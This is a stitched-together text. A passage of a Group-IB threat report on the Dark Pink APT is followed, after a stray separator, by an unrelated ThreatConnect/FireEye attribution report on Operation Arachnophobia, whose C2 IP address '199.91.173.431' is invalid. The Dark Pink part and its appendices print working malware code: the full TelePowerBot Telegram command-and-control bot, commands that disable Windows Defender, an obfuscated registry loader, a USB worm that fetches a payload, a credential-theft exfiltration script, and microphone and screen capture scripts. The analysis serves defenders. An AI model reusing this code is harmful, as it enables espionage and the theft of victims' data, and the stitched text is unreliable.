In total, Group-IB researchers discovered that Dark Pink exfiltrated files via three separate pathways. The first of these pathways sees the threat actors use Telegram to receive files. As a device is infected, information is collected in a specific folder by the malware and sent via Telegram by a special command. By extension, the files that are sent to the threat actors are: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf. An example of a script that carries out this process can be found in APPENDIX D.
In addition to Telegram, Group-IB found evidence that the threat actors exfiltrated files via Dropbox. This method is slightly different from the one used to exfiltrate via Telegram, as it involves a series of PowerShell scripts that transfer files from a specific folder to a Dropbox account by performing an HTTP request with a hardcoded token. One particular attack discovered by Group-IB was of particular surprise to us. Despite the device being controlled by commands issued by a threat actor-controlled Telegram channel via Telegram bots, some interesting files were sent via email. An example of this command is shown below.
```
$filepath="$env:tmp/backuplog";
$cred = New-Object System.Management.Automation.PSCredential ("[email protected]",(ConvertTo-SecureString "CHANGED" -AsPlainText -Force));
Send-MailMessage -To "blackpink.301@outlook[.]com" -From "blackred.113@outlook[.]com" -Body "hello badboy" -SmtpServer "smtp-mail.outlook.com" -Port 587 -Subject "$env:computername" -UseSsl -Credential $cred -Attachments (gci $filepath).fullname
```
The list of emails used during data exfiltration are shown below:
- blackpink.301@outlook[.]com
- alibaba.113@outlook[.]com
- alibaba.113@outlook[.]com.vn
- blackred.113@outlook[.]com
- lanhuong.jsc@outlook[.]com
- nphuongmai.97@outlook[.]com
At this stage, Group-IB researchers believe that the exfiltration method of choice depends on the potential restrictions set out in the victim’s network infrastructure.
## Evasion Techniques
During their attacks, the threat actors used an already known technique to bypass User Account Control (UAC) to alter the settings in Windows Defender. They did this by elevating the COM interface. The methods used are not unique and different implementations were found in different programming languages.
The settings are changed by a special PowerShell script which is received as a command and implemented in a .NET application. This command comes in the form of an executable file (in base64 view) that is automatically downloaded from Github upon infection. The executable does not gain persistence nor is it saved on an infected system.
The PowerShell command to modify Windows Defender Settings is passed as an argument and is shown as follows:
```
Set-MpPreference -DisableArchiveScanning $true -ea 0;
Set-MpPreference -DisableBehaviorMonitoring $true -Force -ea 0;
Set-MpPreference -DisableCatchupFullScan $true -Force -ea 0;
Set-MpPreference -DisableCatchupQuickScan $true -Force -ea 0;
Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ea 0;
Set-MpPreference -DisableIOAVProtection $true -Force -ea 0;
Set-MpPreference -DisableRealtimeMonitoring $true -Force -ea 0;
Set-MpPreference -DisableRemovableDriveScanning $true -Force -ea 0;
Set-MpPreference -DisableRestorePoint $true -Force -ea 0;
Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -Force -ea 0;
Set-MpPreference -DisableScanningNetworkFiles $true -Force -ea 0;
Set-MpPreference -DisableScriptScanning $true -Force -ea 0;
Set-MpPreference -EnableControlledFolderAccess Disabled -Force -ea 0;
Set-MpPreference -EnableNetworkProtection AuditMode -Force -ea 0;
Set-MpPreference -MAPSReporting Disabled -Force -ea 0;
Set-MpPreference -SubmitSamplesConsent NeverSend -Force -ea 0;
Set-MpPreference -PUAProtection Disabled -Force -ea 0;
```
The PowerShell commands will be executed using the .NET application as a tool for privilege escalation.
## Tools
### Cucky
Cucky is a simple custom stealer developed on .NET. A variety of samples were found during the investigation. The most analyzed versions were packed by Confuser. It does not communicate with the network, and collected information is saved in the folder %TEMP%\backuplog. Cucky is able to draw data such as passwords, history, logins, and cookies from targeted web browsers. Although we do not have any information related to the use of stolen data, we suppose that it can be used to gain access to email web clients, conduct additional infrastructure reconnaissance based on web history, compile a list of organization employees, distribute malicious attachments, and assess whether the compromised machine is real or virtual.
Cucky has the functionality to steal data from the following browsers: Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, Kometa, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast Browser, Yandex Browser.
### Ctealer
Ctealer is an analog of Cucky but developed on C/C++. TelePowerDropper or a special command issued by the threat actors can be used to deploy Ctealer. The working process is pretty similar to Cucky as well, as it also saves collected files to the %TEMP%\backuplog folder. Ctealer can draw information from the following web browsers: Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, Kometa, Dragon, Torch, Comodo, Slimjet, 360 Browser, Maxthon, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Yandex Browser.
### TelePowerBot
As we have already noted, TelePowerBot will be launched every time a user of an infected machine logs into the system. When this happens, a special script will be launched. The script reads the value of another regkey (e.g., HKCU\SOFTWARE\Classes\abcdfile\shell\abcd), which begins decryption and launch of TelePowerBot. The encryption is based on xor where the key is an array number from 0 to 256. Before decryption, the original payload will be decoded from base64. The deobfuscated command example is shown below:
```
iex(
[System.Text.Encoding]::UTF8.GetString(
([System.Convert]::FromBase64String(
(gp "HKCU:\\SOFTWARE\\Classes\\abcdfile\\shell" -Name "abcd")."abcd") | % -Begin{$i=0} -Process{
$_ = $_ -bxor $i%256;$i++;$_
}
)
)
) | iex
```
The decrypted stage is not final. It is an intermediate stage and also is based on PowerShell and is highly obfuscated. At this stage, the final script has already been stored in the stager but it is separated into blocks. From this, a base64 string is created, and after decoding, we will be left with a ZIP stream. Finally, after all this, TelePowerBot is launched after unzipping.
This kind of tool communicates with a Telegram channel to receive new tasks from the threat actors. The bot can communicate with various infected devices, and the bot checks for new commands every 60 seconds. During execution, the bot works with two register keys: HKCU\Environment\Update and HKCU\Environment\guid. The first one stores the last message id, which is processed from the Telegram bot (The parameter update_id from Telegram). The second key stores the unique identification of infected machines. It is generated by command [guid]::NewGuid() when the bot launches for the first time. Upon registration, the threat actors get various pieces of information about the infected machine such as IP, guid, computer name. The IP address is also ascertained via a get request to https://ifconfig.me/ip. These processes are also based on PowerShell commands, and we will dig a little deeper into those later in the report. The bot implementation is shown in APPENDIX A.
Some variants of this module contain additional functionality for ensuring lateral movement. All other functionalities are the same. In cases that Group-IB analyzed, the Telegram parameter can either be hardcoded in the scripts or read from the registry key.
### KamiKakaBot
KamiKakaBot is the .NET version of TelePowerBot, and we found very few differences between the pair of them. Before commands are read, KamiKakaBot is able to exfiltrate from the Chrome, MS Edge, and Firefox browsers. It is able to update itself and once it receives commands, it can pass an argument to the cmd.exe process.
### PowerSploit/Get-MicrophoneAudio
As we have noted above, the threat actors behind Dark Pink almost exclusively leveraged custom-made tools. However, to record the microphone audio from infected devices, they turned to a publicly available PowerSploit module – Get-MicrophoneAudio. This is loaded onto the victim’s machine via download from Github. Group-IB researchers found that antivirus software on victim machines blocked this process when the threat actors attempted to launch the module. We found that the threat actors attempted to obfuscate the original PowerSploit module to make it undetectable, and these were unsuccessful. As a result, the threat actors returned to the drawing board and added a script that was successfully able to record the microphone audio on infected devices.
```
Start-Job {
while(1){
ps psr -erroraction 'silentlycontinue' | kill -force;sleep 30;
ni "$($env:tmp)\\record" -ItemType Directory -erroraction 'silentlycontinue';
start psr -ArgumentList "/start /output $($env:tmp)\\record\\$((get-date).tostring('yyyyMMddHHmmss')).zip /sc 1 /gui 0";
sleep 60;
start psr -ArgumentList "/stop"
}
}
```
This simple script launches a background task that triggers a standard utility PSR to capture sound every minute. The recorded audio files will be saved inside a ZIP archive that is located in a temporary folder (%TEMP%\record). The files are named according to the following template: ‘yyyyMMddHHmmss’. These audio files are then exfiltrated with a separate script that sends them (as a ZIP archive), to the threat actors’ Telegram bot.
### ZMsg (Messenger Exfiltration)
The threat actors are also interested in stealing data from messengers on infected devices. To this end, they are able to execute commands to identify leading messengers, such as Viber, Telegram, and Zalo. In the case of Viber, these commands allow the threat actors to exfiltrate the %APPDATA%\Viberpc folder on infected devices, which allows them to gain access to the messages and contact lists of the victims. We are still doing work to assess what the threat actors are able to draw from Telegram accounts on infected devices, but the case of Zalo is one that piqued our interest.
If Zalo messenger is present on the victim’s device, the threat actors can launch a command to download a special utility (dubbed ZMsg by Group-IB), from Github. This utility, which is a .NET application based on the FlaUI library, allows the threat actors to exfiltrate the victim’s messages on the Zalo platform. FlaUI is a library that assists with the automatic UI testing of Windows applications, with the entry point usually an application or the desktop to generate an automation element. Through this, it is possible to analyze sub-elements and interact with them.
ZMsg iterates elements on Windows applications to discover those with particular names. For example, the element with messages has the name “messageView”. All collected information is stored in the %TEMP%\KoVosRLvmU\ folder in files with the .dat and .bin extensions. File names are created as an encoded hex string and are generated in accordance with the below template: %PERSON_NAME%_%DAY%_%MONTH%_%YEAR%.
## Commands
The threat actors issue commands to an infected device by specifying IP, computer name, or botid. Tasks can also be issued to all infected devices simultaneously. During our examination, we noticed several different kinds of commands. The functionalities of some of these commands overlap, but they are based on PowerShell commands. For example, TelePowerBot can execute a simple standard console tool, such as whoami, or a complex PowerShell script.
During infection, the threat actors execute several standard commands (e.g., net share, Get-SmbShare) to determine what network resources are connected to the infected device. If network disk usage is found, they will begin exploring this disk to find files that may be of interest to them and potentially exfiltrate them. In the prior section, we noted how Dark Pink threat actors carry out lateral movement. In this campaign, the threat actors can also infect files on USB disks attached to the infected devices. The script below details how the threat actors compile a list of network shares and the removable devices connected to the machine.
```
(gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path $($_.deviceid)\)}).deviceid;
(get-smbshare|?{($_.name -notlike "*$")-and($_.name -ne Users)-and($_.path -like *:\\*)}).path;
(Get-SMBMapping|?{$_.Status -eq "OK"}).remotepath|?{$_ -notlike '*\\IPC$'}
```
The threat actors can also issue a command to take a screenshot of the desktop of the compromised device and save these in the %TEMP% directory. They then download the images by issuing the below command.
```
Add-type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Screen]::AllScreens|%{
$bounds =$_.bounds;
if($bounds.width -lt 1920){$bounds.width=1920}
if($bounds.height -lt 1080){$bounds.height=1080}
$image = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($image)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$screen_file = "$env:tmp\\$($_.DeviceName.replace('\\\\.\\',''))_$((get-date).tostring('yyyyMMddHHmmss')).png"
$image.Save($screen_file)
$graphics.Dispose()
$image.Dispose()
$screen_file
}
```
## Conclusion
APT groups come and go, but the preliminary findings of Group-IB’s research into Dark Pink APT demonstrate how threat actors can change course, leverage new TTPs, and achieve devastating results. The threat actors behind Dark Pink were able, with the assistance of their custom toolkit, to breach the defenses of governmental and military bodies in a range of countries in the APAC and European regions. Dark Pink’s campaign once again underlines the massive dangers that spear-phishing campaigns pose for organizations, as even highly advanced threat actors use this vector to gain access to networks, and we recommend that organizations continue to educate their personnel on how to detect these sorts of emails.
At this stage, Group-IB researchers can confidently say that Dark Pink was behind the successful breaches of at least seven organizations, although we believe that this number could be higher. In line with Group-IB’s zero-tolerance policy to cybercrime, our analysts will continue their diligent efforts to uncover Dark Pink’s origin and work to uncover more of the unique or peculiar TTPs utilized by this group. We will continue to issue proactive notifications to any organization we find to have been breached by this particular threat group.
In this blog, we attempted to reveal how Group-IB’s proprietary Threat Intelligence system, which detects attacks automatically, can identify the mechanics behind ongoing threat campaigns. Our clients are the first to be informed about Dark Pink, along with other new APT groups that may appear on the horizon, and they are also the first to obtain the names of compromised organizations, which helps them avoid supply-chain attacks and make their network infrastructure more secure.
## Recommendations
- Use modern email protection measures to prevent initial compromise via spear-phishing emails. We recommend Group-IB’s Business Email Protection, which is able to counter these threats effectively.
- Organizations should ensure they foster a cybersecurity culture in their workplace, which includes sufficient training to staff on how to identify phishing emails.
- Ensure that your security measures allow for proactive threat hunting that can help identify threats that cannot be detected automatically.
- Limit access to file-sharing resources, with the exception of those used within the organization.
- Monitor the creation of LNK files in unusual locations, such as network drives and USB devices.
- Ensure that you observe any use of commands and built-in tools that are frequently used for collecting information about the system and files.
Maintaining a secure organization requires ongoing vigilance, and using a proprietary solution such as Group-IB Threat Intelligence can help organizations shore up their security posture by equipping security teams with the latest insights into new and emerging threats.
## Indicators of Compromise
**File indicators:**
- Cucky:
- MD5: 926027F0308481610C85F4E3E433573B
- SHA1: 24F65E0EE158FC63D98352F9828D014AB239AE16
- SHA256: 9976625B5A3035DC68E878AD5AC3682CCB74EF2007C501C8023291548E11301A
- Ctealer Loader:
- MD5: 728AFA40B20DF6D2540648EF845EB754
- SHA1: D8DF672ECD9018F3F2D23E5C966535C30A54B71D
- SHA256: C60F778641942B7B0C00F3214211B137B683E8296ABB1905D2557BFB245BF775
- Packed ctealer:
- MD5: 7EAF1B65004421AC07C6BB1A997487B2
- SHA1: 18CA159183C98F52DF45D3E9DB0087E17596A866
- SHA256: E3181EE97D3FFD31C22C2C303C6E75D0196912083D0C21536E5833EE7D108736
- MD5: 732091AD428419247BCE87603EA79F00
- SHA1: 142F909C26BD57969EF93D7942587CDF15910E34
- SHA256: E45DF7418CA47A9A4C4803697F4B28C618469C6E5A5678213AB81DF9FCC9FD51
**File path:**
- $env:tmp\backuplog
- $env:tmp\backuplog1
- $env:appdata\archive.zip
- $env:appdata\telegram.txt
- $env:tmp\afkslfsa.csv
- $env:tmp\AB.zip
- $Env:tmp\AB
**Scheduled task name:**
- Microsoft Idle
**Mutex:**
- gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5
**Registry path:**
- HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKCU\Environment\OSBuild
- HKCU\Environment\STMP
- HKCU\Environment\SYSPS
- HKCR:\zolfile\shell\open\command
- HKCR:\zolofile\shell\open\command\zolo
- HKCU:\Environment\guid
- HKCU:\Environment\Update
- HKCU:\Environment\UserInitMprLogonScript
- HKCU:\SOFTWARE\Classes\abcdfile\shell\abcd
- HKCU:\SOFTWARE\Classes\.4ID\
- HKCU:\SOFTWARE\Classes\.abcd
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\DelegateExecute
- HKCU:\SOFTWARE\Classes\abcdfile\shell
- HKCU:\SOFTWARE\Classes\abcdfile\shell\aaaa
- HKCU:\SOFTWARE\Classes\abcdfile\shell\abcd
- HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command
- HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\abcd
- HKCU:\SOFTWARE\Classes\psrfile\shell\open\command
- HKCU:\SOFTWARE\Classes\psrfile\shell\open\command -Name DelegateExecute
- HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\DelegateExecute
- HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\zolo
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Forfiles
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Psr
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Recents
## APPENDIX A. TelePowerBot
```
[System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
$token="CHANGED"
$id=CHANGED
$mid=(gp "HKCU:\\Environment" -name Update).Update
$guid = (gp "HKCU:\\Environment" -name guid).guid
$ip=irm "https://ifconfig.me/ip"
if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
exit
}
if($mid -and $guid){
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
}
else {
$guid = [guid]::NewGuid().guid
Set-ItemProperty "HKCU:\\Environment" -name "GUID" -value $guid
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
}
if($mid -isnot [int]){
$mid = 0
}
while(1){
Start-Sleep 60;
(irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
if ($mid -lt $_.update_id) {
$mid=$_.update_id;
$name,$task=$_.message.text -split " :: ";
if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
$message = $($task | iex)2>&1 | Out-String;
if ("" -eq $message){
$message="Task Done!"
}
$b=0;
while ($b -lt $message.Length) {
$c = 4000;
if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
$b+=$c
}
}
}
Set-ItemProperty "HKCU:\\Environment" -name "Update" -value $mid
}
}
```
## APPENDIX B. PowerShell Script for Lateral Movement Over Removable Device
```
[Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3");
$ErrorActionPreference="Continue";
$Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2";
$Action = {
(gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path "$($_.deviceid)\")}).DeviceID|%{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force
cp "$env:temp\xxx" "$_\dism" -Recurse -Force;
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}
}
};
Register-WmiEvent -Query $Query -Action $Action -SourceIdentifier USBFlashDrive
```
## APPENDIX C. PowerShell Script for Theft of Credentials
```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
[Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString(""))) | Out-Null;[kuky.Program]::Main();
Start-Sleep 60;
cp -path "$env:tmp\\backuplog" -Destination "$env:tmp\\backuplog1" -recurse -force; $file = "$env:tmp\\backuplog1";
$ascii = [System.Text.Encoding]::ascii;
Compress-Archive -Path $File -Destination "$file.zip" -Force;
$file = "$file.zip"
$reg = "HKCU:\\Environment"
$token,$chat_id = (gp $reg -name GUID).GUID -split "::"
Add-Type -AssemblyName System.Net.Http
$form = new-object System.Net.Http.MultipartFormDataContent
$form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id')
$Content = [System.IO.File]::ReadAllBytes($file)
$byte = New-Object System.Net.Http.ByteArrayContent ($Content, 0, $Content.Length)
$byte.Headers.Add('Content-Type','text/plain')
$name = $ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace ':|\\\\|\\?','_'
$form.Add($byte, 'document', $name)
$ms = new-object System.IO.MemoryStream
$form.CopyToAsync($ms).Wait()
irm -Method Post -Body $ms.ToArray() -Uri "" -ContentType $form.Headers.ContentType.ToString()
rm $file -Force -Recurse
```
## APPENDIX D. PowerShell Script to Exfiltrate Documents from Common Network Resource
```
# (Content omitted for brevity)
``` |
# Operation Arachnophobia
## Team Introduction
Cyber Squared Inc.’s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world. Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group. This group was revealed by TCIRT publicly in August 2013. In the months following the disclosure, we identified new activity. Cyber Squared partnered with experts at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its Operation “Arachnophobia”. The following report is a product of collaborative research and threat intelligence sharing between Cyber Squared Inc.’s TCIRT and FireEye Labs.
## Key Findings
- While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or those who are involved in India-Pakistan issues.
- The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for command and control (C2).
- The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with two IP addresses operated by a Pakistan-based hosting provider.
- Early variants of the BITTERBUG malware had build paths containing the strings “Tranchulas” and “umairaziz27”. Tranchulas is the name of a Pakistani security firm; Umair Aziz is the name of a Tranchulas employee.
- Following the release of our blog post highlighting this activity and the malware’s build strings, the threat actors appear to have modified their binary file paths to make them more generic.
- Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others’ social networks.
## Summary
On August 2, 2013, the TCIRT published the blog “Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats Up” in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based exploitation activity directed against Indian entities. We found debug path references to “Tranchulas”, which is also the name of a Pakistani security company. Tranchulas claims to support “national level cyber security programs” and the development of offensive and defensive cyber capabilities. At the time, the incident seemed to be an isolated one for TCIRT, but it was only the beginning. Our suspicions of Tranchulas’ involvement in the activity began to mount, based on a series of events that occurred both before and after the release of our blog post.
During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider. Suspicious responses and oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to research the companies further. Our research revealed:
- The C2 hosting provider (VPSNOC) has likely been conducting business operations from within Pakistan, subleasing infrastructure from U.S. providers.
- VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media.
- Both organizations have employed or are affiliated with personnel who have offensive cyber expertise.
- When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity. Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post and our contact. However, inconsistencies in their claims and their responses made such a scenario questionable.
## Backstory
TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013. To our knowledge this customized malware has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.431 and 199.91.173.45. According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City, Missouri. Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.
On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating from IP address 199.91.173.43. The hosting provider subsequently introduced TCIRT to their client VPNSOC, the customer responsible for subleasing the IP address. Later that day, TCIRT received a response from [email protected] providing limited information on the server and related traffic. When TCIRT sent follow-up communications, VPSNOC did not respond, further increasing our suspicions.
While reviewing the metadata of VPSNOC’s July 24, 2013 email response, we noticed the email was sent from a +0500 time zone. This time zone usage is consistent with Pakistan’s time zone. The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013. Four days later on August 6, 2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage. Khan submitted “Response_ThreatConnect.docx” as an explanation of the observed activity to both the media and the TCIRT indicating that the debug paths using “Tranchulas” and “umairaziz27” was “done by developer of malware to portray wrong impression about Tranchulas and mislead malware analysts”. Notably, Khan included a screenshot of an email message. The message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify VPSNOC of the same malicious activity identified by TCIRT. However, we noted certain anomalies in this message.
The TCIRT responded to Mr. Khan’s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable date inconsistency within the email screenshot. The TCIRT also requested that Mr. Khan share the actual email message with the original attached headers. Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar, a Penetration Testing Team Lead at Tranchulas. On August 15, 2013, three days later, Qamar responded to TCIRT with a brief denial of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to VPSNOC support for any follow up questions.
Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas.
## VPSNOC/Digital Linx/Tranchulas
During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan. The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space. The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting. Digital Linx is also a Pakistan-based hosting company.
As seen in the Whois records, the domains digitallinx.org, digitallinx.net, and digitallinx.com share current and historical similarities in their WHOIS records and sitemap.xml files that imply they are all controlled by the same individual or entity. The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder) who uses email addresses [email protected] and [email protected]. The domain is also registered to the address 638-F Johar Town, Lahore Pakistan.
The contact telephone number listed on Digital Linx’ web site is 925-665-1427 and is also used in the WHOIS record for defiantmarketing.com. The domain defiantmarketing.com is registered to Abunasar Khan. The registration lists VPSNOC as the registrant organization, [email protected] as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the registration address. Abunasar Khan has been observed using the aliases “agnosticon” and “agnostic”. From this we were able to locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as a subdivision of Digital Linx Hosting. Though none of this information is surprising, it further suggests that both Bhatti and Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.
Additional research into Abunasar Khan identified several registered domains and fragments of his online presence. Based on his websites and account information, he appears to have an interest or participated in the Antisec and Anonymous movements. He also used “anony mo us” in the registration name field of a personal account. In addition, Abunasar Khan’s Google+ profile revealed connections to at least one Tranchulas employee, Hamza Qamar, and a Digital Linx employee, Shoaib Riaz. Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last spoke. Visiting Hamza Qamar’s Google+ page, the only directly connected person was Abunasar Khan. At this point, it shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with Hamza Qamar, the Penetration Testing employee from Tranchulas.
Qamar indicated on his public LinkedIn profile that he “engaged in system and enterprise level network and Web application security testing for clients ranging from large federal agencies, DoD, and commercial clients”, though it is unclear which “DoD” is referenced (e.g., whether the Pakistani Ministry of Defense or some other nation’s defense department). Tranchulas identifies government (presumably Pakistan’s government) as an operational sector for its work. Tranchulas’ offensive cyber initiative services are offered to “national-level cyber security programs” indicating commercial demand from “national-level” customers. Though Tranchulas brands itself as a multi-national company, with respective addresses within the United Kingdom, the United States, and New Zealand. We found evidence that these addresses are all associated with either virtual office spaces or address forwarding services.
The following is a summary of the relationships between the hosting organizations and Tranchulas:
- VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that contained build strings that referenced “Tranchulas” and a Tranchulas employee.
- Tranchulas and VPNSOC were in direct communication at some point in July-August 2013.
- VPNSOC is a subsidiary of Digital Linx.
- Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S.
- Hamza Qamar was an employee of Tranchulas.
## Technical Observations
### Metadata Analysis
As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx). In reviewing the document metadata for “Response_ThreatConnect.docx”, TCIRT identified that it contained the creator properties of “hp”. TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and found that both also had the author of “hp”. While the author field of “hp” doesn’t conclusively prove a relationship, it contributes to the body of circumstantial evidence which links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with BITTERBUG targeting campaigns.
### Malware Analysis
CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity. FireEye analyzed the malware, which they call BITTERBUG, and determined it to be a custom backdoor. The earliest samples of BITTERBUG contain the “Tranchulas” debug path. The backdoor relies on various support components, including the non-malicious, publicly available Libcurl, as mentioned in the August 2013 TCIRT blog post. These BITTERBUG variants were probably used in attacks around summer 2013, using possible lures related to the then-recent death of “Sarabjit Singh” (an Indian national imprisoned in Pakistan) and an Indian Government pension memorandum.
The earliest evidence of the malware family dates to April 2013, based on Portable Executable (PE) compile times, with more than 10 BITTERBUG variants observed to date. The earliest samples of BITTERBUG contain references to “Cath” in the debug path. It is important to note that the “Cath” files are support components and not BITTERBUG variants, so it is probable that these were developed by another party but are a required component of the family.
After publication of the TCIRT blog and our communications with Tranchulas occurred in August 2013, no new samples of BITTERBUG or its support components were identified until September (various support components) and October (a new BITTERBUG variant). Interestingly, the samples compiled following the blog publication used entirely new and generic debug paths as well as a compilation tactic to conceal the C2 address from static analysis. Between September and December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based activities, and decoys (or the lack of them) compared to the samples before our blog post. This could indicate that the threat actors were aware of the blog post and modified their malware and related components to distance them from prior indicators.
## Conclusion
Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues. The threat actor appears to have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the delivery and C2 phases of attack. Research later identified that a Pakistan-based VPSNOC representative had a social network affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements.
After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG activity; however, this explanation contained discrepancies. The TCIRT addressed some of these discrepancies with Tranchulas personnel, who were unresponsive, increasing our suspicion of the activity. We later observed BITTERBUG activity following August 2013 with subtle changes that further generalized debug paths. It was this chain of events that served as a catalyst for extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information.
While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who are involved in India-Pakistan issues. Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and origins (behind U.S. infrastructure), before and after public disclosure in August 2013.
